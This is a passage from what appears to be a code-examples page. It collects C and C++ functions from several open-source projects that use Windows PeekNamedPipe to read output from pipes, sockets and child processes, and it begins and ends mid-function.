  if(handles == NULL) {
    errno = ENOMEM;
    return -1;
  }

  /* allocate internal array for the internal socket handles */
  wsasocks = malloc(nfds * sizeof(curl_socket_t));
  if(wsasocks == NULL) {
    errno = ENOMEM;
    return -1;
  }

  /* allocate internal array for the internal WINSOCK2 events */
  wsaevents = malloc(nfds * sizeof(WSAEVENT));
  if(wsaevents == NULL) {
    errno = ENOMEM;
    return -1;
  }

  /* loop over the handles in the input descriptor sets */
  for(fds = 0; fds < nfds; fds++) {
    networkevents = 0;
    handles[nfd] = 0;

    if(FD_ISSET(fds, readfds))
      networkevents |= FD_READ|FD_ACCEPT|FD_CLOSE;

    if(FD_ISSET(fds, writefds))
      networkevents |= FD_WRITE|FD_CONNECT;

    if(FD_ISSET(fds, exceptfds))
      networkevents |= FD_OOB|FD_CLOSE;

    /* only wait for events for which we actually care */
    if(networkevents) {
      fdarr[nfd] = curlx_sitosk(fds);
      if(fds == fileno(stdin)) {
        handles[nfd] = GetStdHandle(STD_INPUT_HANDLE);
      }
      else if(fds == fileno(stdout)) {
        handles[nfd] = GetStdHandle(STD_OUTPUT_HANDLE);
      }
      else if(fds == fileno(stderr)) {
        handles[nfd] = GetStdHandle(STD_ERROR_HANDLE);
      }
      else {
        wsaevent = WSACreateEvent();
        if(wsaevent != WSA_INVALID_EVENT) {
          error = WSAEventSelect(fds, wsaevent, networkevents);
          if(error != SOCKET_ERROR) {
            handles[nfd] = wsaevent;
            wsasocks[wsa] = curlx_sitosk(fds);
            wsaevents[wsa] = wsaevent;
            wsa++;
          }
          else {
            handles[nfd] = (HANDLE) curlx_sitosk(fds);
            WSACloseEvent(wsaevent);
          }
        }
      }
      nfd++;
    }
  }

  /* convert struct timeval to milliseconds */
  if(timeout) {
    milliseconds = ((timeout->tv_sec * 1000) + (timeout->tv_usec / 1000));
  }
  else {
    milliseconds = INFINITE;
  }

  /* wait for one of the internal handles to trigger */
  wait = WaitForMultipleObjectsEx(nfd, handles, FALSE, milliseconds, FALSE);

  /* loop over the internal handles returned in the descriptors */
  for(idx = 0; idx < nfd; idx++) {
    handle = handles[idx];
    sock = fdarr[idx];
    fds = curlx_sktosi(sock);

    /* check if the current internal handle was triggered */
    if(wait != WAIT_FAILED && (wait - WAIT_OBJECT_0) <= idx &&
       WaitForSingleObjectEx(handle, 0, FALSE) == WAIT_OBJECT_0) {
      /* try to handle the event with STD* handle functions */
      if(fds == fileno(stdin)) {
        /* check if there is no data in the input buffer */
        if(!stdin->_cnt) {
          /* check if we are getting data from a PIPE */
          if(!GetConsoleMode(handle, &mode)) {
            /* check if there is no data from PIPE input */
            if(!PeekNamedPipe(handle, NULL, 0, NULL, &avail, NULL))
              avail = 0;
            if(!avail) {
              FD_CLR(sock, readfds);
              /* reduce CPU load */
              Sleep(10);
            }
          } /* check if there is no data from keyboard input */
          else if (!_kbhit()) {
            /* check if there are INPUT_RECORDs in the input buffer */
            if(GetNumberOfConsoleInputEvents(handle, &events)) {
              if(events > 0) {
                /* remove INPUT_RECORDs from the input buffer */
                inputrecords = (INPUT_RECORD*)malloc(events *
                                                     sizeof(INPUT_RECORD));
                if(inputrecords) {
                  if(!ReadConsoleInput(handle, inputrecords,
                                       events, &inputs))
                    inputs = 0;
                  free(inputrecords);
                }

                /* check if we got all inputs, otherwise clear buffer */
                if(events != inputs)
                  FlushConsoleInputBuffer(handle);
              }
            }

            /* remove from descriptor set since there is no real data */
            FD_CLR(sock, readfds);
          }
        }

        /* stdin is never ready for write or exceptional */
        FD_CLR(sock, writefds);
        FD_CLR(sock, exceptfds);
      }
      else if(fds == fileno(stdout) || fds == fileno(stderr)) {
        /* stdout and stderr are never ready for read or exceptional */
        FD_CLR(sock, readfds);
        FD_CLR(sock, exceptfds);
      }
      else {
        /* try to handle the event with the WINSOCK2 functions */
        error = WSAEnumNetworkEvents(fds, handle, &wsanetevents);
        if(error != SOCKET_ERROR) {
          /* remove from descriptor set if not ready for read/accept/close */
          if(!(wsanetevents.lNetworkEvents & (FD_READ|FD_ACCEPT|FD_CLOSE)))
            FD_CLR(sock, readfds);

          /* remove from descriptor set if not ready for write/connect */
          if(!(wsanetevents.lNetworkEvents & (FD_WRITE|FD_CONNECT)))
            FD_CLR(sock, writefds);

          /* HACK:
           * use exceptfds together with readfds to signal
           * that the connection was closed by the client.
           *
           * Reason: FD_CLOSE is only signaled once, sometimes
           * at the same time as FD_READ with data being available.
           * This means that recv/sread is not reliable to detect
           * that the connection is closed.
           */
          /* remove from descriptor set if not exceptional */
          if(!(wsanetevents.lNetworkEvents & (FD_OOB|FD_CLOSE)))
            FD_CLR(sock, exceptfds);
        }
      }

      /* check if the event has not been filtered using specific tests */
      if(FD_ISSET(sock, readfds) || FD_ISSET(sock, writefds) ||
         FD_ISSET(sock, exceptfds)) {
        ret++;
      }
    }
    else {
      /* remove from all descriptor sets since this handle did not trigger */
      FD_CLR(sock, readfds);
      FD_CLR(sock, writefds);
      FD_CLR(sock, exceptfds);
    }
  }

  for(idx = 0; idx < wsa; idx++) {
    WSAEventSelect(wsasocks[idx], NULL, 0);
    WSACloseEvent(wsaevents[idx]);
  }

  free(wsaevents);
  free(wsasocks);
  free(handles);
  free(fdarr);

  return ret;
}
Пример #10
0
/*
========================
Sys_Exec

if waitMsec is INFINITE, completely block until the process exits
If waitMsec is -1, don't wait for the process to exit
Other waitMsec values will allow the workFn to be called at those intervals.
========================
*/
bool Sys_Exec(	const char * appPath, const char * workingPath, const char * args, 
	execProcessWorkFunction_t workFn, execOutputFunction_t outputFn, const int waitMS,
	unsigned int & exitCode ) {
		exitCode = 0;
		SECURITY_ATTRIBUTES secAttr;
		secAttr.nLength = sizeof( SECURITY_ATTRIBUTES );
		secAttr.bInheritHandle = TRUE;
		secAttr.lpSecurityDescriptor = NULL;

		HANDLE hStdOutRead;
		HANDLE hStdOutWrite;
		CreatePipe( &hStdOutRead, &hStdOutWrite, &secAttr, 0 );
		SetHandleInformation( hStdOutRead, HANDLE_FLAG_INHERIT, 0 );

		HANDLE hStdInRead;
		HANDLE hStdInWrite;
		CreatePipe( &hStdInRead, &hStdInWrite, &secAttr, 0 );
		SetHandleInformation( hStdInWrite, HANDLE_FLAG_INHERIT, 0 );										

		STARTUPINFO si;
		memset( &si, 0, sizeof( si ) );
		si.cb = sizeof( si );
		si.hStdError = hStdOutWrite;
		si.hStdOutput = hStdOutWrite;
		si.hStdInput = hStdInRead;
		si.wShowWindow = FALSE;
		si.dwFlags |= STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

		PROCESS_INFORMATION pi;
		memset ( &pi, 0, sizeof( pi ) );

		if ( outputFn != NULL ) {
			outputFn( va( "^2Executing Process: ^7%s\n^2working path: ^7%s\n^2args: ^7%s\n", appPath, workingPath, args ) );
		} else {
			outputFn = ExecOutputFn;
		}

		// we duplicate args here so we can concatenate the exe name and args into a single command line
		const char * imageName = appPath;
		char * cmdLine = NULL;
		{
			// if we have any args, we need to copy them to a new buffer because CreateProcess modifies
			// the command line buffer.
			if ( args != NULL ) {
				if ( appPath != NULL ) {
					int len = idStr::Length( args ) + idStr::Length( appPath ) + 1 /* for space */ + 1 /* for NULL terminator */ + 2 /* app quotes */;
					cmdLine = (char*)Mem_Alloc( len, TAG_TEMP );
					// note that we're putting quotes around the appPath here because when AAS2.exe gets an app path with spaces
					// in the path "w:/zion/build/win32/Debug with Inlines/AAS2.exe" it gets more than one arg for the app name,
					// which it most certainly should not, so I am assuming this is a side effect of using CreateProcess.
					idStr::snPrintf( cmdLine, len, "\"%s\" %s", appPath, args );
				} else {
					int len = idStr::Length( args ) + 1;
					cmdLine = (char*)Mem_Alloc( len, TAG_TEMP );
					idStr::Copynz( cmdLine, args, len );
				}
				// the image name should always be NULL if we have command line arguments because it is already
				// prefixed to the command line.
				imageName = NULL;
			}
		}

		BOOL result = CreateProcess( imageName, (LPSTR)cmdLine, NULL, NULL, TRUE, 0, NULL, workingPath, &si, &pi );

		if ( result == FALSE ) {
			TCHAR szBuf[1024]; 
			LPVOID lpMsgBuf;
			DWORD dw = GetLastError(); 

			FormatMessage(
				FORMAT_MESSAGE_ALLOCATE_BUFFER | 
				FORMAT_MESSAGE_FROM_SYSTEM,
				NULL,
				dw,
				MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
				(LPTSTR) &lpMsgBuf,
				0, NULL );

			wsprintf( szBuf, "%d: %s", dw, lpMsgBuf );
			if ( outputFn != NULL ) {
				outputFn( szBuf );
			}
			LocalFree( lpMsgBuf );
			if ( cmdLine != NULL ) {
				Mem_Free( cmdLine );
			}
			return false;
		} else if ( waitMS >= 0 ) {	// if waitMS == -1, don't wait for process to exit
			DWORD ec = 0;
			DWORD wait = 0;
			char buffer[ 4096 ];
			for ( ; ; ) {
				wait = WaitForSingleObject( pi.hProcess, waitMS );
				GetExitCodeProcess( pi.hProcess, &ec );

				DWORD bytesRead = 0;
				DWORD bytesAvail = 0;
				DWORD bytesLeft = 0;
				BOOL ok = PeekNamedPipe( hStdOutRead, NULL, 0, NULL, &bytesAvail, &bytesLeft );
				if ( ok && bytesAvail != 0 ) {
					ok = ReadFile( hStdOutRead, buffer, sizeof( buffer ) - 3, &bytesRead, NULL );
					if ( ok && bytesRead > 0 ) {
						buffer[ bytesRead ] = '\0';
						if ( outputFn != NULL ) {
							int length = 0;
							for ( int i = 0; buffer[i] != '\0'; i++ ) {
								if ( buffer[i] != '\r' ) {
									buffer[length++] = buffer[i];
								}
							}
							buffer[length++] = '\0';
							outputFn( buffer );
						}
					}
				}

				if ( ec != STILL_ACTIVE ) {
					exitCode = ec;
					break;
				}

				if ( workFn != NULL ) {
					if ( !workFn() ) {
						TerminateProcess( pi.hProcess, 0 );
						break;
					}
				}
			}
		}

		// this assumes that windows duplicates the command line string into the created process's
		// environment space.
		if ( cmdLine != NULL ) {
			Mem_Free( cmdLine );
		}

		CloseHandle( pi.hProcess );
		CloseHandle( pi.hThread );
		CloseHandle( hStdOutRead );
		CloseHandle( hStdOutWrite );
		CloseHandle( hStdInRead );
		CloseHandle( hStdInWrite );
		return true;
}
Пример #11
0
static OP *
read_action(int timeout) {
#ifdef _WIN32
  HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE);
  DWORD available;

  PeekNamedPipe(hIn, NULL, 0, NULL, &available, NULL);
  if (available == 0)
    return NULL;
#else
  struct pollfd pfd[] = {{0, POLLIN, 0}};
  poll(pfd, 1, timeout);
  if ((pfd[0].revents & (POLLIN | POLLERR | POLLHUP)) == 0)
    return NULL;
#endif
  char op;

  if (read(0, &op, 1) == 0)
    return &eof_op;

  if (op == 'r' || op == 's') {
    char input_buf[9];
    size_t challenges_lengths[16];
    size_t challenges_num, challenges_buf_len = 0, domain_len;
    int i;

    if (!read_n_bytes(input_buf, 8))
      return &eof_op;

    input_buf[8] = '\0';
    READ_LEN(input_buf + 4, challenges_num);
    input_buf[4] = '\0';
    READ_LEN(input_buf, domain_len);

    if (challenges_num >= sizeof(challenges_lengths) / sizeof(challenges_lengths[0]))
      return &eof_op;

    for (i = 0; i < challenges_num; i++) {
      if (!read_n_bytes(input_buf, 4))
        return &eof_op;
      READ_LEN(input_buf, challenges_lengths[i]);
      challenges_buf_len += challenges_lengths[i];
    }

    OP *buf = malloc(domain_len + (sizeof(char *) * (challenges_num + 1)) +
                     challenges_buf_len + challenges_num + 1 + sizeof(OP));
    if (!buf)
      return &eof_op;

    buf->op = op;
    buf->challenges = (char **) (buf + 1);
    buf->domain = (char *) (buf->challenges + challenges_num + 1);
    buf->domain[domain_len] = '\0';

    if (!read_n_bytes(buf->domain, domain_len)) {
      free(buf);
      return &eof_op;
    }

    char *challenge = buf->domain + domain_len + 1;
    for (i = 0; i < challenges_num; i++) {
      buf->challenges[i] = challenge;
      if (!read_n_bytes(buf->challenges[i], challenges_lengths[i])) {
        free(buf);
        return &eof_op;
      }
      challenge[challenges_lengths[i]] = '\0';
      challenge += challenges_lengths[i];
    }
    buf->challenges[challenges_num] = NULL;
    return buf;
  } else
    return &eof_op;
}
Пример #12
0
static void ProcessConnection( void )
{
    char                buff[MAX_TRANS];
    DWORD               bytes_read;
    char                *dir;
    DWORD               rc;
    DWORD               status;
    unsigned            max;

    for( ;; ) {
        bytes_read = BatservRead( buff, sizeof( buff ) );
        if( bytes_read == 0 ) break;
        buff[bytes_read] = '\0';
        switch( buff[0] ) {
        case LNK_CWD:
            rc = 0;
            dir = &buff[1];
            if( !SetCurrentDirectory( dir ) ) {
                rc = GetLastError();
            }
            SendStatus( rc );
            break;
        case LNK_RUN:
            RunCmd( &buff[1] );
            break;
        case LNK_QUERY:
            max = *(unsigned long *)&buff[1];
            if( max > sizeof( buff ) ) max = sizeof( buff );
            --max;
            if( PeekNamedPipe( RedirRead, buff, 0, NULL, &bytes_read,
                        NULL ) && bytes_read != 0 ) {
                if( bytes_read < max ) max = bytes_read;
                ReadFile( RedirRead, &buff[1], max, &bytes_read, NULL );
                buff[0] = LNK_OUTPUT;
                BatservWrite( buff, bytes_read + 1 );
            } else {
                if( WaitForSingleObject( ProcHdl, 0 ) == WAIT_TIMEOUT ) {
                    /* let someone else run */
                    Sleep( 1 );
                    buff[0] = LNK_NOP;
                    BatservWrite( buff, 1 );
                } else {
                    GetExitCodeProcess( ProcHdl, &status );
                    CloseHandle( RedirRead );
                    SendStatus( status );
                    ProcId = 0;
                    CloseHandle( ProcHdl );
                }
            }
            break;
        case LNK_CANCEL:
//            GenerateConsoleCtrlEvent( CTRL_BREAK_EVENT, ProcId );
            GenerateConsoleCtrlEvent( CTRL_BREAK_EVENT, 0 );
            break;
        case LNK_ABORT:
            TerminateProcess( ProcHdl, 0 );
            break;
        case LNK_DONE:
            Say(( "LNK_DONE\n" ));
            return;
        case LNK_SHUTDOWN:
            Say(( "LNK_SHUTDOWN\n" ));
            CloseHandle( SemReadUp );
            CloseHandle( SemReadDone );
            CloseHandle( SemWritten );
            CloseHandle( MemHdl );
            UnmapViewOfFile( SharedMem );
            exit( 0 );
            break;
        }
    }
}
Пример #13
0
DWORD WINAPI MakeNSISProc(LPVOID p) {
	char buf[1024];
	STARTUPINFO si={sizeof(si),};
	SECURITY_ATTRIBUTES sa={sizeof(sa),};
	SECURITY_DESCRIPTOR sd={0,};
	PROCESS_INFORMATION pi={0,};
	HANDLE newstdout=0,read_stdout=0; 

	OSVERSIONINFO osv={sizeof(osv)};
	GetVersionEx(&osv);
	if (osv.dwPlatformId == VER_PLATFORM_WIN32_NT) {
		InitializeSecurityDescriptor(&sd,SECURITY_DESCRIPTOR_REVISION);
		SetSecurityDescriptorDacl(&sd,true,NULL,false);
		sa.lpSecurityDescriptor = &sd;
	}
	else sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = true;
	if (!CreatePipe(&read_stdout,&newstdout,&sa,0)) {
		ErrorMessage(g_hwnd,"There was an error creating the pipe.");
		PostMessage(g_hwnd,WM_MAKENSIS_PROCESSCOMPLETE,0,0);
		return 1;
	}
	GetStartupInfo(&si);
	si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	si.hStdOutput = newstdout;
	si.hStdError = newstdout;
	if (!CreateProcess(NULL,g_script,NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi)) {
		char buf[MAX_STRING];
		wsprintf(buf,"Could not execute:\r\n %s.",g_script);
		ErrorMessage(g_hwnd,buf);
		CloseHandle(newstdout);
		CloseHandle(read_stdout);
		PostMessage(g_hwnd,WM_MAKENSIS_PROCESSCOMPLETE,0,0);
		return 1;
	}
	unsigned long exit=0,read,avail;
	my_memset(buf,0,sizeof(buf));
	while(1) {
		PeekNamedPipe(read_stdout,buf,sizeof(buf)-1,&read,&avail,NULL);
		if (read != 0) {
			my_memset(buf,0,sizeof(buf));
			if (avail > sizeof(buf)-1) 	{
				while (read >= sizeof(buf)-1) {
					ReadFile(read_stdout,buf,sizeof(buf)-1,&read,NULL);
					LogMessage(g_hwnd,buf);
					my_memset(buf,0,sizeof(buf));
				}
			}
			else {
				ReadFile(read_stdout,buf,sizeof(buf),&read,NULL);
				LogMessage(g_hwnd,buf);
			}			
		}
		GetExitCodeProcess(pi.hProcess,&exit);
		if (exit != STILL_ACTIVE) break;
		Sleep(TIMEOUT);
	}
	g_retcode = exit;
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
	CloseHandle(newstdout);
	CloseHandle(read_stdout);
	PostMessage(g_hwnd,WM_MAKENSIS_PROCESSCOMPLETE,0,0);
	return 0;
}
Пример #14
0
/* FIXME: manage error mode */
static int
_ecore_exe_win32_pipe_thread_generic_cb(void           *data,
                                        Ecore_Exe_Flags flags)
{
#define BUFSIZE 2048
   char buf[BUFSIZE];
   Ecore_Exe *exe;
   char *current_buf = NULL;
   HANDLE child_pipe;
   Ecore_Pipe *ecore_pipe;
   Ecore_Exe_Event_Data *event;
   DWORD size;
   DWORD current_size = 0;
   BOOL res;

   exe = (Ecore_Exe *)data;

   /* Sort out what sort of handler we are. */
   /* And get any left over data from last time. */
   if ((exe->flags & ECORE_EXE_PIPE_READ) && (flags == ECORE_EXE_PIPE_READ))
     {
        child_pipe = exe->pipe_read.child_pipe;
        ecore_pipe = exe->pipe_read.p;
        flags = ECORE_EXE_PIPE_READ;
     }
   else if ((exe->flags & ECORE_EXE_PIPE_ERROR) && (flags == ECORE_EXE_PIPE_ERROR))
     {
        child_pipe = exe->pipe_error.child_pipe;
        ecore_pipe = exe->pipe_error.p;
        flags = ECORE_EXE_PIPE_ERROR;
     }
   else
     return 0;

   while (1)
     {
        if (!PeekNamedPipe(child_pipe, buf, sizeof(buf), &size, &current_size, NULL))
          continue;
        if (size == 0)
          continue;
        current_buf = (char *)malloc(current_size);
        if (!current_buf)
          continue;
        res = ReadFile(child_pipe, current_buf, current_size, &size, NULL);
        if (!res || (size == 0))
          {
             free(current_buf);
             current_buf = NULL;
             continue;
          }
        if (current_size != size)
          {
             free(current_buf);
             current_buf = NULL;
             continue;
          }
        current_size = size;

        if (flags == ECORE_EXE_PIPE_READ)
          {
             exe->pipe_read.data_buf = current_buf;
             exe->pipe_read.data_size = current_size;
          }
        else
          {
             exe->pipe_error.data_buf = current_buf;
             exe->pipe_error.data_size = current_size;
          }

        event = ecore_exe_event_data_get(exe, flags);
        if (event)
          ecore_pipe_write(ecore_pipe, &event, sizeof(event));

        current_buf = NULL;
        current_size = 0;
     }

   return 1;
}
Пример #15
0
void uv_process_pipe_read_req(uv_loop_t* loop, uv_pipe_t* handle,
    uv_req_t* req) {
  DWORD bytes, avail;
  uv_buf_t buf;
  uv_ipc_frame_uv_stream ipc_frame;

  assert(handle->type == UV_NAMED_PIPE);

  handle->flags &= ~UV_HANDLE_READ_PENDING;
  eof_timer_stop(handle);

  if (!REQ_SUCCESS(req)) {
    /* An error occurred doing the 0-read. */
    if (handle->flags & UV_HANDLE_READING) {
      uv_pipe_read_error_or_eof(loop,
                                handle,
                                GET_REQ_ERROR(req),
                                uv_null_buf_);
    }
  } else {
    /* Do non-blocking reads until the buffer is empty */
    while (handle->flags & UV_HANDLE_READING) {
      if (!PeekNamedPipe(handle->handle,
                          NULL,
                          0,
                          NULL,
                          &avail,
                          NULL)) {
        uv_pipe_read_error_or_eof(loop, handle, GetLastError(), uv_null_buf_);
        break;
      }

      if (avail == 0) {
        /* There is nothing to read after all. */
        break;
      }

      if (handle->ipc) {
        /* Use the IPC framing protocol to read the incoming data. */
        if (handle->remaining_ipc_rawdata_bytes == 0) {
          /* We're reading a new frame.  First, read the header. */
          assert(avail >= sizeof(ipc_frame.header));

          if (!ReadFile(handle->handle,
                        &ipc_frame.header,
                        sizeof(ipc_frame.header),
                        &bytes,
                        NULL)) {
            uv_pipe_read_error_or_eof(loop, handle, GetLastError(),
              uv_null_buf_);
            break;
          }

          assert(bytes == sizeof(ipc_frame.header));
          assert(ipc_frame.header.flags <= (UV_IPC_UV_STREAM | UV_IPC_RAW_DATA));

          if (ipc_frame.header.flags & UV_IPC_UV_STREAM) {
            assert(avail - sizeof(ipc_frame.header) >=
              sizeof(ipc_frame.socket_info));

            /* Read the TCP socket info. */
            if (!ReadFile(handle->handle,
                          &ipc_frame.socket_info,
                          sizeof(ipc_frame) - sizeof(ipc_frame.header),
                          &bytes,
                          NULL)) {
              uv_pipe_read_error_or_eof(loop, handle, GetLastError(),
                uv_null_buf_);
              break;
            }

            assert(bytes == sizeof(ipc_frame) - sizeof(ipc_frame.header));

            /* Store the pending socket info. */
            assert(!handle->pending_socket_info);
            handle->pending_socket_info =
              (WSAPROTOCOL_INFOW*)malloc(sizeof(*(handle->pending_socket_info)));
            if (!handle->pending_socket_info) {
              uv_fatal_error(ERROR_OUTOFMEMORY, "malloc");
            }

            *(handle->pending_socket_info) = ipc_frame.socket_info;
          }

          if (ipc_frame.header.flags & UV_IPC_RAW_DATA) {
            handle->remaining_ipc_rawdata_bytes =
              ipc_frame.header.raw_data_length;
            continue;
          }
        } else {
          avail = min(avail, (DWORD)handle->remaining_ipc_rawdata_bytes);
        }
      }

      buf = handle->alloc_cb((uv_handle_t*) handle, avail);
      assert(buf.len > 0);

      if (ReadFile(handle->handle,
                   buf.base,
                   buf.len,
                   &bytes,
                   NULL)) {
        /* Successful read */
        if (handle->ipc) {
          assert(handle->remaining_ipc_rawdata_bytes >= bytes);
          handle->remaining_ipc_rawdata_bytes = 
            handle->remaining_ipc_rawdata_bytes - bytes;
          if (handle->read2_cb) {
            handle->read2_cb(handle, bytes, buf,
              handle->pending_socket_info ? UV_TCP : UV_UNKNOWN_HANDLE);
          } else if (handle->read_cb) {
            handle->read_cb((uv_stream_t*)handle, bytes, buf);
          }

          if (handle->pending_socket_info) {
            free(handle->pending_socket_info);
            handle->pending_socket_info = NULL;
          }
        } else {
          handle->read_cb((uv_stream_t*)handle, bytes, buf);
        }

        /* Read again only if bytes == buf.len */
        if (bytes <= buf.len) {
          break;
        }
      } else {
        uv_pipe_read_error_or_eof(loop, handle, GetLastError(), uv_null_buf_);
        break;
      }
    }

    /* Post another 0-read if still reading and not closing. */
    if ((handle->flags & UV_HANDLE_READING) &&
        !(handle->flags & UV_HANDLE_READ_PENDING)) {
      uv_pipe_queue_read(loop, handle);
    }
  }

  DECREASE_PENDING_REQ_COUNT(handle);
}
Пример #16
0
void uv_process_pipe_read_req(uv_pipe_t* handle, uv_req_t* req) {
  DWORD bytes, avail;
  uv_buf_t buf;

  assert(handle->type == UV_NAMED_PIPE);

  handle->flags &= ~UV_HANDLE_READ_PENDING;
  eof_timer_stop(handle);

  if (!REQ_SUCCESS(req)) {
    /* An error occurred doing the 0-read. */
    if (handle->flags & UV_HANDLE_READING) {
      uv_pipe_read_error_or_eof(handle, GET_REQ_ERROR(req), uv_null_buf_);
    }
  } else {
    /* Do non-blocking reads until the buffer is empty */
    while (handle->flags & UV_HANDLE_READING) {
      if (!PeekNamedPipe(handle->handle,
                         NULL,
                         0,
                         NULL,
                         &avail,
                         NULL)) {
        uv_pipe_read_error_or_eof(handle, GetLastError(), uv_null_buf_);
        break;
      }

      if (avail == 0) {
        /* There is nothing to read after all. */
        break;
      }

      buf = handle->alloc_cb((uv_handle_t*) handle, avail);
      assert(buf.len > 0);

      if (ReadFile(handle->handle,
                   buf.base,
                   buf.len,
                   &bytes,
                   NULL)) {
        /* Successful read */
        handle->read_cb((uv_stream_t*)handle, bytes, buf);
        /* Read again only if bytes == buf.len */
        if (bytes <= buf.len) {
          break;
        }
      } else {
        uv_pipe_read_error_or_eof(handle, GetLastError(), uv_null_buf_);
        break;
      }
    }

    /* Post another 0-read if still reading and not closing. */
    if ((handle->flags & UV_HANDLE_READING) &&
        !(handle->flags & UV_HANDLE_READ_PENDING)) {
      uv_pipe_queue_read(handle);
    }
  }

  DECREASE_PENDING_REQ_COUNT(handle);
}
Пример #17
0
void ExecScript(int log) {
  char szRet[128] = "";
  char *pExec;
  int nComSpecSize;
  char meDLLPath[MAX_PATH];    
  char *p;
  char *executor;
  char *g_exec;
  unsigned int g_to;
  BOOL bOEM;

  nComSpecSize = GetModuleFileName(g_hInst, meDLLPath, MAX_PATH) + 2; // 2 chars for quotes
  p = meDLLPath + nComSpecSize - 2; // point p at null char of meDLLPath
  g_exec = (char *)GlobalAlloc(GPTR, sizeof(char)*g_stringsize+nComSpecSize+2); // 1 for space, 1 for null
  *g_exec = '"';
  executor = g_exec + 1;

  do
  {
    if (*p == '\\')
      break;
    p = CharPrev(meDLLPath, p);
  }
  while (p > meDLLPath);
  if (p == meDLLPath)
  {
    // bad path
    pushstring("error");
    GlobalFree(g_exec);
    return;
  }

  *p = 0;
  GetTempFileName(meDLLPath, "ns", 0, executor);
  *p = '\\';
  if (CopyFile(meDLLPath, executor, FALSE))
  {
    HANDLE hFile, hMapping;
    LPBYTE pMapView;
    PIMAGE_NT_HEADERS pNTHeaders;
    hFile = CreateFile(executor, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING,0, 0);
    hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, NULL);
    pMapView = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, 0);
    if (pMapView)
    {
      pNTHeaders = (PIMAGE_NT_HEADERS)(pMapView + ((PIMAGE_DOS_HEADER)pMapView)->e_lfanew);
      pNTHeaders->FileHeader.Characteristics = IMAGE_FILE_32BIT_MACHINE | IMAGE_FILE_LOCAL_SYMS_STRIPPED | 
        IMAGE_FILE_LINE_NUMS_STRIPPED | IMAGE_FILE_EXECUTABLE_IMAGE;
      pNTHeaders->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_CUI;
      pNTHeaders->OptionalHeader.AddressOfEntryPoint = (DWORD)WinMain - (DWORD)g_hInst;  
      UnmapViewOfFile(pMapView);
    }
    CloseHandle(hMapping);
    CloseHandle(hFile);
  }

  lstrcat(g_exec, "\"");

  g_to = 0;      // default is no timeout
  bOEM = FALSE;  // default is no OEM->ANSI conversion

  g_hwndList = NULL;
  if (g_hwndParent)
    g_hwndList = FindWindowEx(FindWindowEx(g_hwndParent,NULL,"#32770",NULL),NULL,"SysListView32",NULL);

  // add space
  pExec = g_exec + lstrlen(g_exec);
  *pExec = ' ';
  pExec++;

params:
  popstring(pExec);
  if (my_strstr(pExec, "/TIMEOUT=") == pExec) {
    char *szTimeout = pExec + 9;
    g_to = my_atoi(szTimeout);
    *pExec = 0;
    goto params;
  }
  if (!lstrcmpi(pExec, "/OEM")) {
    bOEM = TRUE;
    *pExec = 0;
    goto params;
  }

  if (!pExec[0]) 
  {
    pushstring("error");
    *(pExec-2) = '\0'; // skip space and quote
    DeleteFile(executor);
    GlobalFree(g_exec);
    return;
  }
  
  {
    STARTUPINFO si={sizeof(si),};
    SECURITY_ATTRIBUTES sa={sizeof(sa),};
    SECURITY_DESCRIPTOR sd={0,};
    PROCESS_INFORMATION pi={0,};
    OSVERSIONINFO osv={sizeof(osv)};
    HANDLE newstdout=0,read_stdout=0;
    HANDLE newstdin=0,read_stdin=0;
    DWORD dwRead = 1;
    DWORD dwExit = !STILL_ACTIVE;
    DWORD dwLastOutput;
    static char szBuf[1024];
    HGLOBAL hUnusedBuf = NULL;
    char *szUnusedBuf = 0;

    if (log) {
      hUnusedBuf = GlobalAlloc(GHND, log & 2 ? g_stringsize : sizeof(szBuf)*4);
      if (!hUnusedBuf) {
        lstrcpy(szRet, "error");
        goto done;
      }
      szUnusedBuf = (char *)GlobalLock(hUnusedBuf);
    }

    GetVersionEx(&osv);
    if (osv.dwPlatformId == VER_PLATFORM_WIN32_NT) {
      InitializeSecurityDescriptor(&sd,SECURITY_DESCRIPTOR_REVISION);
      SetSecurityDescriptorDacl(&sd,true,NULL,false);
      sa.lpSecurityDescriptor = &sd;
    }
    else 
      sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = true;
    if (!CreatePipe(&read_stdout,&newstdout,&sa,0)) {
      lstrcpy(szRet, "error");
      goto done;
    }
    if (!CreatePipe(&read_stdin,&newstdin,&sa,0)) {
      lstrcpy(szRet, "error");
      goto done;
    }

    GetStartupInfo(&si);
    si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = newstdin;
    si.hStdOutput = newstdout;
    si.hStdError = newstdout;
    if (!CreateProcess(NULL,g_exec,NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi)) {
      lstrcpy(szRet, "error");
      goto done;
    }

    dwLastOutput = GetTickCount();

    while (dwExit == STILL_ACTIVE || dwRead) {
      PeekNamedPipe(read_stdout, 0, 0, 0, &dwRead, NULL);
      if (dwRead) {
        dwLastOutput = GetTickCount();
        ReadFile(read_stdout, szBuf, sizeof(szBuf)-1, &dwRead, NULL);
        szBuf[dwRead] = 0;
        if (log) {
          char *p, *p2;
          SIZE_T iReqLen = lstrlen(szBuf) + lstrlen(szUnusedBuf);
          if (GlobalSize(hUnusedBuf) < iReqLen && (iReqLen < g_stringsize || !(log & 2))) {
            GlobalUnlock(hUnusedBuf);
            hUnusedBuf = GlobalReAlloc(hUnusedBuf, iReqLen+sizeof(szBuf), GHND);
            if (!hUnusedBuf) {
              lstrcpy(szRet, "error");
              break;
            }
            szUnusedBuf = (char *)GlobalLock(hUnusedBuf);
          }
          p = szUnusedBuf; // get the old left overs
          if (iReqLen < g_stringsize || !(log & 2)) lstrcat(p, szBuf);
          else {
            lstrcpyn(p + lstrlen(p), szBuf, g_stringsize - lstrlen(p));
          }

          if (!(log & 2)) {
            while ((p = my_strstr(p, "\t"))) {
